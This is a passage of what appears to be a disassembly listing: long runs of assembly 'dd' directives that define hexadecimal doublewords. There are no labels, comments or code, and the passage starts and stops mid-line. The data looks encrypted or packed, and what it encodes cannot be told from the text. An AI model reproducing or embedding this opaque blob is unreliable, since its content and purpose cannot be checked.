1A5AFFD5h, 0A8FABD1Eh, 0F7D328A9h dd 2529872Bh, 0F311C748h, 832D2B6Eh, 68DE90D9h, 8C154FA0h dd 4E04F8BEh, 0CBE93269h, 8FA06795h, 60CE4135h, 0E1D2D403h dd 47F4CE01h, 95EC1523h, 8217DD39h, 2772EBF7h, 56A78160h dd 5E3A3D26h, 4EA6300h, 4983E934h, 0C6003BC3h, 5AF12062h dd 6AC8C9FEh, 0B20C2FB1h, 4B1F804Eh, 729609B2h, 60B8C241h dd 0FA89D406h, 7712D996h, 7A4F6FA2h, 2402C509h, 525AC9FAh dd 40284124h, 2135E069h, 0BC1E20Ah, 525707EDh, 12D46100h dd 889111Eh, 4AF2D080h, 0CA895B37h, 0E4A5F4A0h, 3122A69Dh dd 4092B0C9h, 5E2E59AAh, 6D0BAB21h, 0CF40C982h, 0CAAC67E0h dd 0F65E22h, 79E56337h, 290EC981h, 0C07BE60Bh, 0CF03D6F1h dd 647FB060h, 0F44EF78Ah, 744012C6h, 1E9A4B68h, 5BAA8C9Ah dd 0D777F60Ah, 1916FE32h, 25F3563Fh, 73686483h, 0EF31BBECh dd 0F701F49Ch, 0DD9A40D3h, 6FB0EA2Dh, 6018311h, 31EACC4Ah dd 77044B40h, 585B27D5h, 21C67F1Ah, 0B16FD499h, 34AA4E16h dd 0B6C74080h, 51C72C23h, 1CABB52Eh, 50581F18h, 20969054h dd 0BF04878Eh, 41857CC7h, 400F4A80h, 0C606015h, 75D5FDB1h dd 0F1075E98h, 121E10Bh, 83588ABh, 0A26D5F1Ch, 590F08E4h dd 6D8A89F0h, 276C7856h, 0C15C40B0h, 3C02E72Ch, 0F64C4003h dd 4B740569h, 0E0BC552Eh, 0CA0108B9h, 0E948EC0Bh, 2F4829C6h dd 44CB272h, 3F791768h, 3629AB6Dh, 779232Ch, 58E962F5h dd 75F332F0h, 79F4A56h, 7A1A1DCCh, 0E6DB3AD5h, 0CD4CE90Bh dd 0BEE8CFA4h, 20311504h, 0AD54891Fh, 0A15D3725h, 0B4DDFCA7h dd 0B8508C01h, 4A2F1122h, 802066Ah, 4ABA2CE5h, 0DE6934F2h dd 1225583Fh, 44649E84h, 8C3E0A3Dh, 0FCF353A6h, 1B98A44Fh dd 0B080B64Fh, 242FCCBBh, 3D2155B8h, 5CCD7A01h, 0E2868A0Fh dd 3C707A7Eh, 0C1FC8372h, 62A9394Dh, 3C505970h, 0BF9CCE30h dd 5CCE4E31h, 462D07Fh, 0EDB9870Fh, 8AE347ECh, 2A5256C9h dd 5C25789Bh, 290E366h, 0AA6E2101h, 7F40E917h, 63EFC35h dd 0E4EBD153h, 7351821Dh, 0D1D801CBh, 0F8CD276h, 520253ABh dd 0EE8002B6h, 0C38EE0B5h, 0E6C0806Eh, 88070360h, 2CDE8BC4h dd 1387D187h, 273FE729h, 1728C8D3h, 4B9796C9h, 0C1318860h dd 10F6584Ch, 0BC60DF57h, 152F0EE6h, 0A7DA093Eh, 0B799C132h dd 41863220h, 4C72AC1h, 613024FFh, 0CD814D03h, 7F3924E0h dd 603FBE90h, 646E246Ah, 9A995B00h, 0B2B3E9EDh, 1354B1D4h dd 82446708h, 0E57906D2h, 24C1E54Bh, 6D6C06DBh, 0ED0962CFh dd 608914A7h, 484BD728h, 8E2F1C5Fh, 937B8B42h, 5F330027h dd 0B0494CEAh, 0D04D290h, 3217A6B8h, 0AB5812E3h, 4A61BED0h dd 2EDC7B35h, 0ACBD5021h, 7E56CC90h, 1A027204h, 2CC1E1C1h dd 0DF2D6288h, 4FC80179h, 0B7E97079h, 4AA86214h, 6F813D94h dd 1054261h, 6C2E8AF3h, 25B5ED3Bh, 94C47D66h, 25448475h dd 0F5568909h, 2C60C708h, 98F0038h, 0F387134Fh, 0FD6F72Ah dd 6D986812h, 0F52595F3h, 4FABAA0Fh, 0ED54F941h, 5971AC50h dd 0BA33963Bh, 0F9C1E241h, 4342CF88h, 90B678E7h, 0F7032F5Eh dd 18BA3280h, 0CBA05B91h, 7257BB1h, 0E3048232h, 4DC4DE7Dh dd 0E8162A40h, 59F46118h, 0C621CA26h, 433303BFh, 0EEB06CBFh dd 85375C38h, 150184Eh, 25683955h, 791950E0h, 7E5B3531h dd 0C0B56F37h, 0F429A1A1h, 8AE15F73h, 0D7B44ACAh, 0E793268h dd 0BCF8B83Bh, 7190B91Fh, 7DF51AD6h, 9DB56CCh, 6497E978h dd 96B576E6h, 0BB92BDCBh, 6C71F300h, 0E9260529h, 318997C1h dd 0AF9AD9FEh, 7EE95B60h, 8629385Eh, 0F8886682h, 0E1CA3AE9h dd 0E32535F6h, 0BF62D928h, 0B24B8126h, 0DC5AC5F2h, 583EC4B4h dd 2583136h, 74532707h, 0C4CB1429h, 4B081A0Dh, 0F37C7F42h dd 5955520Bh, 0A8B883B2h, 0D62EF13Fh, 5D8552C0h, 77E21C87h dd 4137884h, 20F85E5Bh, 0B8C5228h, 6B5762Eh, 4E10F789h dd 8C0497F2h, 0D78947F7h, 0CB4CAEB3h, 120F031Fh, 91A9C455h dd 2C6CE9F6h, 4B5F18F2h, 0F3CFEC4h, 0D9010D41h, 55082EBh dd 5B974848h, 7641D589h, 0FD5117FAh, 3662EFCAh, 56BE3098h dd 5D7EA32Ch, 10DBA18h, 93F998DDh, 445A757h, 19BA962Fh dd 6BB4BCE9h, 8671D8C5h, 0D31167Bh, 8EBD55Bh, 65876EBFh dd 0F557021Ah, 0D484A1A7h, 2192A5A6h, 2974FE82h, 4D6D6886h dd 268825CBh, 0B73DA044h, 77927C7h, 80F0B6D1h, 0E6FEC3C6h dd 0CE8D1A0Fh, 325650F0h, 10655842h, 8B1E8934h, 4DB968F8h dd 5FB84E2h, 0A637CD57h, 0EF16531Ch, 0C8C14433h, 556C6806h dd 2A224C41h, 0B9463C19h, 5D143E70h, 938C4ECCh, 81F3C02Dh dd 764727CBh, 2C2C3D5Ch, 73A56828h, 0BBCB08D8h, 2C01704Ah dd 294F2128h, 320808DAh, 79523B2Ah, 52184209h, 4A515832h dd 0D0A41211h, 0D233825Eh, 0F85A6525h, 0D3D205Ch, 52DDF701h dd 0DF2AFEBAh, 5AC38770h, 34F7484Bh, 1B9123Dh, 552693F7h dd 0A1DE17BCh, 14F10192h, 237F55B3h, 53EAF7A1h, 559E6CD3h dd 0DA4707D6h, 83C95866h, 0A72CF8F8h, 771280D2h, 7B1F27B0h dd 5E8E2887h, 52D85D06h, 2A01CA3Dh, 0F09D016h, 5AE8538Eh dd 86641653h, 0C66CE114h dd 29A83A0Bh, 0A5B96FDFh, 0AE025053h, 741F372Bh, 1375836Ah dd 6CC22C9Bh, 365C5A01h, 0CC542230h, 9B8A5110h, 2D3B6702h dd 1D443E9h, 0F468565Ch, 3326CD15h, 440E7A5Eh, 8A0A2957h dd 2492897h, 61E6DE5Dh, 8DACD1A8h, 0F3701877h, 0EA41B48Ah dd 0D3B2A1ECh, 94CF336h, 1ED805Ch, 0CEE9E829h, 0E0BCAEF2h dd 68C8310Eh, 9B1048BFh, 964785D2h, 0A4940AACh, 275A7669h dd 8AA99147h, 690629h, 8F504DA4h, 36475C2Ah, 407E4909h dd 0F5CF2280h, 781AF95Ch, 4104D7F7h, 9A60F152h, 0D314C7Ah dd 35CD9F12h, 0B5FED3D6h, 4C345F5Ch, 0C868B028h, 1E0E2578h dd 312F6D94h, 8E05C46Ch, 215EA16Ch, 68718C3Ah, 6D1D0F27h dd 0A3921746h, 0E391588Fh, 53C14C58h, 407FE916h, 68535938h dd 0D7C2F7Bh, 424A5B7Dh, 0A6FDBE12h, 0EBA2FBC4h, 5F74A237h dd 0D7D18705h, 94874BF4h, 692F90B8h, 8E98355Ah, 2E613934h dd 8A4ECBBCh, 32D65F50h, 0F7E32064h, 0FEE8198h, 49B6929Ah dd 33CA5397h, 0FAEE40h, 0BE7D233Eh, 320F38B9h, 5F3C1EB8h dd 39F08056h, 74292278h, 5E082424h, 6293409Dh, 1BDE6EEFh dd 0C6C293Eh, 21811420h, 0BE7D425Eh, 28FE748h, 8CAB6FEEh dd 0DE3E6E02h, 6029475Bh, 0B7AEC41Dh, 0F115B0A5h, 0BEB79548h dd 0E2A04F63h, 0B0E913D5h, 82D720F4h, 5F7BBB4Ch, 17F03F20h dd 6267D868h, 1A5A13EDh, 8625E57Fh, 686606h, 62141B4Fh dd 0AF08382Dh, 4D67358h, 119AECEDh, 0AF58C9B2h, 2F65C589h dd 80565709h, 0BB784720h, 60E9702Bh, 21158FC7h, 83B91ABFh dd 5180AA16h, 77484CBEh, 252D04FCh, 0BE7B4641h, 9A8AE04h dd 66D80B12h, 0C11D6CC4h, 810104E5h, 0B494CFEDh, 3A7205E8h dd 1145E6Dh, 0AC00F3E8h, 0E97D061Bh, 3FC05B59h, 81EFD1DFh dd 3D6F0BC7h, 9E409F12h, 344E8B5Dh, 0B7D324A3h, 26680A31h dd 0EAE9E23h, 5CFDBD70h, 550B3414h, 0D80E5D59h, 407602F2h dd 96C0821Dh, 0DFC56E92h, 9218A166h, 1846E5D2h, 0E0A7819h dd 797CD1F5h, 5DD60865h, 688245F2h, 0FFD65C1Dh, 68291567h dd 2D283536h, 2C1B59CAh, 0FCA7C3E1h, 0D3FE8DEBh, 0F66010DDh dd 45429D5Ah, 0E9870B40h, 59B1964h, 2B6929FBh, 68512943h dd 0CD154F02h, 59163A83h, 0F54B00CAh, 0B9443A84h, 0B812A0E7h dd 1994DCE1h, 5CD72210h, 9301EF5Ah, 0F6BD47Fh, 3B22ED80h dd 6044FD43h, 54B8AC57h, 89D98A80h, 0C517B8D1h, 0A34BAD0Ch dd 633B68FAh, 81479C2Ch, 9E42FEF5h, 0EF0C876Dh, 1379624h dd 5005E05Fh, 387A0D0Ah, 8A6222Dh, 1FF8120Fh, 0B32ECE8Fh dd 3D380FB2h, 80707425h, 8415FA12h, 0C71F60E5h, 3E259909h dd 0C176E0FEh, 0DA0548E3h, 0DF65E04h, 5BAE81CEh, 5F34412Dh dd 4168D857h, 76925200h, 37233558h, 0A05D4FB9h, 0D70987B7h dd 292CE94Ah, 804489E9h, 8CF29154h, 0FD0112E5h, 0EA67385Fh dd 44312485h, 0F5014102h, 59384DE9h, 0E950CF58h, 0F83C1F3Ah dd 82F95647h, 8C7E2931h, 0E3473416h, 9BF4EF31h, 2C0F98F0h dd 9ED54F81h, 8350A7FEh, 4E9E844h, 59CC8831h, 96EFA851h dd 0FE016C16h, 351F6D44h, 0D6AAB40h, 0B44A4ED3h, 14677CC8h dd 0D175D8F3h, 0FAE8E252h, 1C00AEA4h, 0F732441Bh, 3FD7A0D1h dd 0DD514C0Ah, 6925E300h, 90E942D3h, 8BB3C861h, 0A934C4DEh dd 0BDFB04EDh, 0FA897E96h, 0FD5D435Dh, 49285AFEh, 334084EEh dd 0AD06DD31h, 0BF4B6FC6h, 0E9F86520h, 3F5B60F1h, 147ADBCAh dd 252E0E7Bh, 41888FF9h, 5C381A3h, 2C1F3251h, 4AF2D2DEh dd 6360B6C0h, 0D30C2D4Ah, 0F8093A2Bh, 0B1B1D08h, 2434E46Bh dd 7B591AA7h, 6AA3DD60h, 605A987Bh, 58C1F757h, 5001C2A1h dd 3ECCFD56h, 0F85EA709h, 0EA090F87h, 0E5BD535Dh, 0FE011104h dd 0C3B29124h, 0DA9683Fh, 25C62752h, 43295A17h, 2E030680h dd 1561F53h, 851B9C7h, 14A09430h, 0BB523041h, 1C0DAE04h dd 46A40475h, 0F600AAB8h, 0AB2221F0h, 5E58F701h, 0ADF7D74Eh dd 0A3263196h, 8EFE489Eh, 0F8F051Eh, 790828C9h, 7BBF01B9h dd 2B5BCE9Fh, 0A9918962h, 69E4D6DBh, 0A86862C0h, 358ACC9Dh dd 1E1113FCh, 0B1571277h, 28D5007Ah, 664AE10Dh, 66B95E1h dd 8A5A4166h, 16521320h, 303A1C68h, 4AB95136h, 5053213Eh dd 155F9D5h, 0B3E40259h, 3EF5FB09h, 23BC6917h, 5D049137h dd 0B897870Fh, 1E5A4191h, 47A173BAh, 0CB5D548Ah, 6179A304h dd 3D92B9C1h, 4541933Ah, 0EC5C42C2h, 7BCEC387h, 0E15D58F3h dd 373E2FF4h, 0AD1F92BFh, 7C0987E4h, 79302568h, 69EC299Eh dd 6F4898CCh, 48311721h, 3F2D5E0h, 0E90103F1h, 583CE216h dd 0C28081B2h, 6EAC0D7h, 0E9BB98DBh, 0D73BF9FEh, 0C43A72D9h dd 0E85D3077h, 9882824Fh, 2C51EC48h, 5765E5A2h, 9C426846h dd 0A255848Dh, 68792FADh, 9E58C691h, 0F1064E97h, 995205Ah dd 26E54F18h, 5D9394h, 3E677B83h, 0FD7C293Ah, 40A23C5Ah dd 0FFFC36A2h, 1C8FBB01h, 396074BCh, 0D2581213h, 0B12D0342h dd 0A8B4DD1Ah, 0EAF3005Dh, 31475741h, 0C45B4CDFh, 4C225600h dd 814A4249h, 7DA2F21Dh, 3CF81913h, 0FBEA1460h, 9325A180h dd 78B7021h, 0DF7E2BE7h, 0BDEFF412h, 17BB5979h, 8B1C04F7h dd 838E502Ch, 0C1E9E4C5h, 0F4DC11BAh, 0A8DAE9A0h, 0DDE7D7A9h dd 0E1092E45h, 8941FC57h, 0ADA71572h, 580822D0h, 0A47635D6h dd 0E2072046h, 574BC9B0h, 535A8522h, 0DFE9C10Ch, 3C543923h dd 9D927E12h, 7620F9B8h, 9A5D589Ch, 0C5BC757Fh, 0B65EF1AFh dd 4D3313B4h, 6D81BCF9h, 802AB80Eh, 42F9C9BAh, 4AEAE9DDh dd 315AE4CCh, 1E68E040h, 0B0925D8Bh, 29F1E656h, 0E966DC09h dd 50612339h, 360F85B8h, 6ECD5765h, 6D688E8Ah, 0C6E984A6h dd 8B45BE0Ch, 48AD1BB6h, 21008190h, 0E943F67Ah, 0BA801C27h dd 712316BBh, 5ED60806h, 5AC3BD01h, 0E170621Ch, 8712011Fh dd 0E9D5F76Dh, 4A1D3CF2h, 40F662A0h, 0BB09BF38h, 0AAD44487h dd 44AF18E7h, 0B10320E8h, 0DA6E0CC4h, 988A1016h, 57939603h dd 3A4829CAh, 1F8F0541h, 0C0C65F95h, 114E0A22h, 1E925CD9h dd 0F653B4h, 794DCEB6h, 0E9261BD3h, 57929AD5h, 0C5544449h dd 948AC94h, 92713DAFh, 0B406311Bh, 4BD731AAh, 0C213FE4h dd 800027DAh, 0C7E6FDEFh, 0CFFE0118h, 0F668110h, 2834B050h dd 0F6B8E982h, 0D4A442F1h, 5C7D541Ah, 56180B5Ah, 2C701C03h dd 74059F2h, 0A9999C03h, 0B016383Dh, 5499EA42h, 0E94C1763h dd 0D802E52Ah, 5104C63Ch, 59CE8960h, 87286EE5h, 61D54E62h dd 72C63157h, 905F1B24h, 119B0FF1h, 0D2851E55h, 1C11F4EDh dd 5B1DA39Dh, 0DA77DA43h, 5B0E8668h, 4937A653h, 5AEB46Bh dd 0F4CBE94Fh, 68165A15h, 0AE6220EBh, 0CA14649Dh, 0A5E46D11h dd 0E5FC4A66h, 0E95030BEh, 0D0B64F68h, 1D0FDED0h, 7A4F7E7Bh dd 0EFA8E612h, 6A1AF3B7h, 2CF8150Bh, 8C8882ADh, 30AC01A7h dd 0DFC842D8h, 0E6B85D04h, 10B1098Eh, 4E629A68h, 0BB5FC13Ah dd 1504DF60h, 0FCE7921Fh, 95627C3h, 0F9AA59F1h, 0B7F6CE3Eh dd 0EADE01E3h, 22F7C86h, 66DD2859h, 511D7BC0h, 0E70FC692h dd 4544BA20h, 0D0AC4F47h, 351BA881h, 7E446E3Ah, 31094928h dd 0B2335705h, 0E3044EBBh, 4E90B9E9h, 69F7D587h, 0A0008D2h dd 50375B3Dh, 48F0CD0h, 0EB0128A7h, 0A8D293ECh, 43A24E45h dd 0A0666399h, 0BE25AA65h, 9E9D2299h, 8889E3ABh, 2D685BD9h dd 7126104h, 0ED5920FEh dd 2527E91Ch, 4C32DA62h, 0E38BD07Ch, 0EB20BC1Ch, 15D7BECFh dd 0B928ACF4h, 0CF893E5Dh, 0C9072413h, 0A3382BCDh, 1AFD33E9h dd 7FC9AD10h, 0D9043B20h, 6802A445h, 0F5EC36ABh, 0C333994Eh dd 0D2B4C952h, 0A215243Ah, 0DD0B9619h, 789B565Bh, 4EBCF502h dd 6A2D9F83h, 4995DA77h, 35795DBAh, 0A0507190h, 48F3FEE0h dd 1E024877h, 1454F2Fh, 5489D068h, 0B963E826h, 7A75BA02h dd 2B506052h, 982C5C50h, 5BC86810h, 44F351B4h, 88160F46h dd 0D346F2D0h, 1F0A9D73h, 4E13EC80h, 0EEC558E7h, 4C0EFFAFh dd 0BE9A4C6h, 0E4514B92h, 8F5931EFh, 25A52FFh, 0BD8856BFh dd 7F544C10h, 60989A36h, 0AAA9952Fh, 0EE5E5931h, 0E922600Bh dd 0AC40401Fh, 4C142C38h, 0B1B52A00h, 0B622534Ch, 4AE72037h dd 0AC464F9Dh, 122002E1h, 0E5C008E8h, 21092A35h, 65C3014Ah dd 81163578h, 0F517FDE3h, 12573136h, 0B4D205ACh, 6817F492h dd 3B31193Bh, 0DE2A5954h, 2FF1562Ch, 3C8C665Ch, 0B8294BEh dd 1D6E6810h, 8BAAA6FEh, 63A2B2B5h, 7B9C889h, 9501FA6Dh dd 59DAB343h, 9F02078Bh, 0F409FC60h, 1B0E4B96h, 7BBE5A78h dd 117D5F02h, 0E301EE83h, 0A8E09392h, 59C7E96Eh, 0F509B628h dd 0ED0EC01Dh, 5CCBDEDCh, 0EB30C9C5h, 87601789h, 0F825015Ah dd 0E94D4B2Dh, 656FB15Dh, 0BEE6B48Eh, 2C3F2D46h, 0A88E56DFh dd 5A0FD5AEh, 0EC4C57E6h, 40F17425h, 4B42236Ah, 0B03AC5D3h dd 56126882h, 585B1501h, 0F07E8C1h, 0B70B9AF4h, 59DFC4A0h dd 0E9277B44h, 8895C0B2h, 0B45D4AFBh, 0C5A9CE02h, 2AA4415Ah dd 5F5B014Bh, 51A19678h, 0BC0FC468h, 0E90920EBh, 985C4F0Eh dd 0C283A908h, 0BC334079h, 0BEEC9EB5h, 1FE4D02Eh, 0D3B64ED1h dd 139ED6AFh, 359E18A8h, 140B7D68h, 745A0F04h, 79F4BAD2h dd 0FD8612DAh, 2530901Eh, 3660D131h, 7109CF0Ch, 0D089042Eh dd 0F2ED835Ah, 93A45B56h, 1CB33C53h, 9A75C92Ch, 76643A4Ah dd 0B8096490h, 89AE41A8h, 904478D0h, 1DCD2F60h, 44EDF0E1h dd 4CB6E308h, 292D8B05h, 9512589Dh, 0B1F2189Bh, 0D15159F8h dd 42CCC8EBh, 0CC334F2h, 7D2B63D6h, 313F409Ah, 0FD6BEF72h dd 5F8C508h, 0E0D0E955h, 660E5010h, 834C8FB8h, 0C50F9F05h dd 371FBEh, 6852F635h, 28B11740h, 9DBA07BEh, 0BD505538h dd 68E93344h, 0EB5D4F88h, 3BEF54A2h, 16BE3A65h, 8EAD56EDh dd 0D80B9984h, 9625E917h, 0C925D973h, 2B0B6BFCh, 31262CBh dd 91D801DEh, 1B715828h, 54FADB04h, 0D70386ECh, 0DD01F7BBh dd 0C2E951F8h, 8FBD9994h, 49FC88E0h, 270E5E31h, 126E0CF1h dd 41B2A205h, 0FF665390h, 4DB3F230h, 80077F95h, 5053C404h dd 20637A18h, 27CB5648h, 0F37146F3h, 253BADFDh, 0D6CF21BAh dd 40CDADBFh, 9EE82043h, 81DF52B0h, 71F768C6h, 6673B866h dd 59CD3FBEh, 35D577Bh, 2F34EFDh, 0A8A7135Fh, 5A681F7Ah dd 0A29D2062h, 0AC8D9E80h, 4E94B5D3h, 948513FCh, 45ED8857h dd 5916797Ah, 2310D301h, 20924808h, 89681636h, 64D351Ah dd 5EC60841h, 8755E197h, 7050C412h, 4BCE895Eh, 0F5ABF1Dh dd 0E7C10D01h, 0EC367246h, 348EFC1h, 4FDA05C1h, 0DE000A7Fh dd 7A111344h, 95E3FF01h, 895D0802h, 8724D9F8h, 5AB1CBBh dd 12778FF5h, 0B0055F21h, 0A7FC1DA3h, 64C78A96h, 16A4FE19h dd 809441A8h, 0DE500F9Ah, 0B0DDF76Ch, 0A2C44F3Ch, 0D425785Bh dd 6234B6Ah, 0F5B9DABCh, 0AE98106Bh, 54D1525Ah, 0D06059CAh dd 6C1E075Ch, 81E8D139h, 54CE84E9h, 2A1DED9Dh, 680908AFh dd 263FD59h, 0FC49D956h, 0E3FA5BECh, 346C5A11h, 4BA9683Bh dd 41579EDDh, 62B376CAh, 0B2AA855Fh, 0BDC152FDh, 71C2E9FBh dd 0A0990B5Fh, 0EA5A7C4Ch, 13BA6385h, 0EDFA2DC2h, 0B6173ADEh dd 68AA6A8h, 88588BA2h, 0DE1B7140h, 74927582h, 81088554h dd 870F05CCh, 0EC44EAD0h, 0E198614Fh, 0A1C14E8Ah, 0BB352088h dd 3D7105E0h, 8052C83Ah, 7C7A5F4Fh, 2C51B42Dh, 3EDC4D8Fh dd 93050751h, 0EB0C8B25h, 9EBD193h, 20EA7753h, 9C38325h dd 6F595A08h, 184E7B28h, 140D5E4h, 0C05AF730h, 606605E7h dd 0EC60D877h, 2E64EA53h, 89472F4Eh, 551282D1h, 993B4AE1h dd 5092F114h, 66F520F7h, 2E51195h, 687FE911h, 995D2F99h dd 224252D4h, 7D9A555Ah, 3CEDAA10h, 0CE4CF8BAh, 0B5804BB5h dd 4C5BDF29h, 472D6D55h, 30074F0Fh, 5E9A82F1h, 586939FDh dd 16AFCA3Bh, 85F442AAh, 17851B0Fh, 6ECA1B62h, 52726009h dd 5954255Fh, 0B731B5EFh, 0EB2CE801h, 75F3D0h, 4F564651h dd 4487F781h, 0E90D0505h, 0D5E915CFh, 5BA64811h, 92CCD704h dd 0B5BAB917h, 26BCEA00h, 9F4D7F02h, 4EE5AE80h, 4B5C8D70h dd 0B9854F1Eh, 2DAEC508h, 810157E7h, 0F0584CDh, 22E29D5h dd 176EE9E6h, 5C971973h, 0C14133CBh, 0CBF9123Bh, 0E0902A19h dd 450BC9FCh, 4099C77h, 34AFB93Eh, 822082A8h, 6DED2558h dd 1C352C7Ch, 9DBC4CA5h, 67561E62h, 0FCE8A15Ch, 0DCF8B401h dd 0C59746A0h, 12270B40h, 0DB5A87C8h, 0C601B183h, 0D69B1C70h dd 80A79110h, 5568F4EBh, 88D298BDh, 67517BC2h, 62595538h dd 0D54627Fh, 8E472960h, 31E942h, 0B625E230h, 0E49CF3Ah dd 7950A2A9h, 0FD145BE6h, 8B7ADh, 51311DC9h, 4A6F8C0Fh dd 0C78FC829h, 2B2FB60Bh, 5F2E0103h, 0AC93DB88h, 3025F83Bh dd 0E9F306CCh, 51819D0Ah, 50731368h, 83BB5351h, 7C524B0Fh dd 2BDDEF55h, 0FC52829Ch, 3300091Bh, 1411871Fh, 2AD92126h dd 263145A7h, 3BFC11A3h, 2AE0AEE6h, 5942D8A5h, 0FC9C1425h dd 59CB2CF5h, 0C2C625D1h, 1A081697h, 3E913FE9h, 27AA9C57h dd 67D9E789h, 0F563044Bh, 0C1D90104h, 6A6AD373h, 48C2EC2Ch dd 0ACD35F3Dh, 6A07B21Dh, 4734DD63h, 0F25BE979h, 0ACE196C9h dd 0D6CD9A35h, 6905B883h, 0A5EA3960h, 0F05EE069h, 36FA9BCEh dd 41244A7Ch, 6886490Ah, 4EFD011Ch, 80C00510h, 2DAC04ECh dd 9C590AC4h, 0A859CFADh, 0D0905D80h, 4553E45Ah, 52030E9Ah dd 872A83BAh, 0C420027h, 0F542174h, 9BB2E88Eh, 285EE974h dd 1DE0A9C9h, 0A7449D20h, 0A0485D20h, 30273206h, 0B20C05B3h dd 6C124D68h, 2210F329h, 56510A08h, 890015BEh, 17E95EF1h dd 7FDDC6Dh, 5866E1h, 0B35359C8h, 0B450C100h, 0F6CCFE9Eh dd 0E4C00ED4h, 0CBE38005h, 0EE8C67E9h, 0A6949B37h, 0BF5648B0h dd 0BCC8E04Eh, 0A4311E43h, 0CB652935h, 4B5C0E98h, 97BBE913h dd 0F715FCB3h, 0D728A995h, 4A017AB7h, 5096E526h, 2812B0ADh dd 62202798h, 0EEEBE0D1h, 45DB28Eh, 743545BDh, 0F5E3D04Ch dd 0AC255863h, 1EDDD92Dh, 0B0BCC0C5h, 5DEF899Ch, 0D175FB90h dd 0DF0B574Bh, 841B5945h, 0BC40A1E9h, 56E8C94Fh, 4FCC2523h dd 78F0E1E8h, 680168BAh, 1D896B3Dh, 7882455Dh, 1640800Fh dd 42C5EBA3h, 0C0B52172h, 0C05185A2h, 0A8A2EE1Dh, 564FAB11h dd 1B651901h, 924257E3h, 9F54F3ADh, 0F9C91654h, 6BA213A5h dd 0A8B554BCh, 5CAE12C8h, 0F12417ADh, 7918001Ah, 81467DF5h dd 3B91F606h, 291E2BFBh, 13CD8B5Eh, 0CB19AC1Ah, 13A684F9h dd 16E304AEh, 37E01309h, 5012CC56h, 650FEDCDh, 69601874h dd 513505Bh, 9207EFBEh, 0C5BC8062h, 3361A83Eh, 8611FA8Ch dd 0F7047DE2h, 6DEC45h, 0A8E0D15h, 0BF5DEE21h, 6208843h dd 86025A03h, 820BBEB6h, 724A7793h, 21FD20E9h, 7FA8839h dd 0C05B5AD1h, 0E6D702C9h dd 9B5C598h, 22C14068h, 98E66954h, 4F02680Fh, 827C2475h dd 92E808C2h, 4C78F680h, 0EE12C625h, 550CC79Ah, 8725805Fh dd 4A2DE9F5h, 0F6FE4839h, 2C8CB3B6h, 2EE4CFB7h, 409BCD30h dd 96B52BDAh, 90B65200h, 0CEFEDEF6h, 58E63B80h, 36E9D686h dd 8181324Eh, 89906A78h, 1780D3B4h, 0C0FB2E4h, 0C4B75552h dd 0E17CC690h, 0E4F93180h, 5708C1CFh, 725B5F53h, 0E88384F8h dd 561425BBh, 4345234h, 0B246C6B2h, 0A1E066F2h, 9897806Dh dd 55B8047h, 5F286200h, 0D9AD2D74h, 213A26E1h, 0D05625FDh dd 0C272E2E1h, 0F530A421h, 60588136h, 1EB001C2h, 1F25677Ch dd 5E5099F6h, 962C569h, 71F0B6E9h, 4A8CC697h, 8466B866h dd 1168DB8h, 230A943Eh, 0B171EC3Eh, 5512529Bh, 0ABB9D341h dd 0D1C3DE52h, 416EF1B3h, 1F47A392h, 15F5616Bh, 0E20685EBh dd 5E845B47h, 0E9127CAEh, 0ACE21E54h, 2068661Ch, 0B6D267h dd 0F6C2B252h, 5E2C0DAh, 27AE92Dh, 43E3C1ABh, 614C9A84h dd 0C03025F4h, 0DDD800A5h, 5BD9894Ah, 0E926CD29h, 5CB15360h dd 0C86A71C0h, 8D5B35E0h, 0E7D08DA6h, 0AC2D164Bh, 3F29A948h dd 27140C6Bh, 0A31AE912h, 0FA19B5F9h, 305B0C8Ch, 31BA261Fh dd 26520FBEh, 233E154h, 4DE8B951h, 80F52553h, 6FEA81E7h dd 1C5F3023h, 930B620Ch, 10F71040h, 538EB75h, 169B1BB5h dd 0BD4D4486h, 799808E6h, 1B17025Fh, 8C7BFB8Dh, 6F905664h dd 0A5193020h, 0F7B3303Dh, 6A4B68F9h, 323AF2B1h, 0B1C9A223h dd 31D97129h, 0A0096AA7h, 762E78A0h, 11513040h, 0D831AD24h dd 0B82D70FFh, 9AA7D00h, 47E17ABDh, 0D5291A76h, 60D2A65Ah dd 6747A95h, 175602CDh, 4481223h, 55270946h, 19510235h dd 0A29357C3h, 826552C1h, 7E51BED9h, 7C78216h, 3C8E680Eh dd 6251B44Bh, 0BA00D027h, 5B1905A8h, 5493E45Ah, 849BF249h dd 55062B12h, 665B7850h, 25640229h, 79F8B287h, 58C6265Bh dd 40810EEh, 614A6B72h, 608B13AFh, 581EBD80h, 8C253625h dd 5A1664D5h, 11F3B4EBh, 57B4CC4Bh, 4838EF2Bh, 0AC78C9Fh dd 0AA39F18Dh, 31711221h, 82ECA284h, 70E2E627h, 87089ADBh dd 0AA2D01EFh, 302A0D12h, 46B5BB31h, 566870F4h, 0AF129946h dd 8523E9F3h, 35AB44B4h, 7A17F5B5h, 0F1E98560h, 0EDA9C929h dd 5F8A71F4h, 6801FD31h, 1F540F2Fh, 0C276BE41h, 0BDE30004h dd 293FC775h, 0EA2EF27Dh, 4799D322h, 6189E88Eh, 6BD12C8Bh dd 59707DB8h, 1AFF04Ch, 80C5FECCh, 0A9CF56EDh, 20872834h dd 0C0D0B753h, 4D0417F7h, 896D0E97h, 8836655Bh, 0C107F292h dd 0EA3707E2h, 0E0E569EFh, 5D926875h, 3815B58h, 4163C244h dd 493F9E6h, 570492FCh, 0B06FDC9Ch, 0E80927A1h, 88FB0113h dd 0AA2E0876h, 3A8E388Dh, 8D10C779h, 6855053Ah, 39521E48h dd 9EA52413h, 914B307Dh, 3EED3DA6h, 5EC5F847h, 41B42817h dd 9D4F21BCh, 51FC8FE1h, 461BE9E9h, 0F0212EA1h, 4D8B180Fh dd 2E1E1FE7h, 31D21302h, 0CDB05F83h, 0A5E1B7C2h, 0A116518Bh dd 75D3B41Eh, 275A8FF0h, 0AA60D2F7h, 0B716B349h, 0FC048988h dd 580B0CFBh, 5457DCA1h, 0A7FA205Fh, 37386016h, 7C9F5101h dd 65317879h, 7F0C01F7h, 5AE9FB29h, 405C3AC8h, 2513B987h dd 50B90167h, 0E5E63B5h, 0BEF956D8h, 0F1843F17h, 58D7C9F4h dd 0EE05024Fh, 0AAE18F2h, 1CB5FCAh, 4E8D2BADh, 4B42DA29h dd 5E5082Ah, 0DC71DC68h, 0B6497BAAh, 14D7C494h, 4867A58Dh dd 2FB0B175h, 0E59C3A71h, 0F50AB5AAh, 0A330402Ch, 17A4D10Ch dd 0A72601F7h, 5E57AFCAh, 0B3F0F85Fh, 680A109Dh, 27187CBFh dd 7DC85B2Ah, 67062FE0h, 1F870F63h, 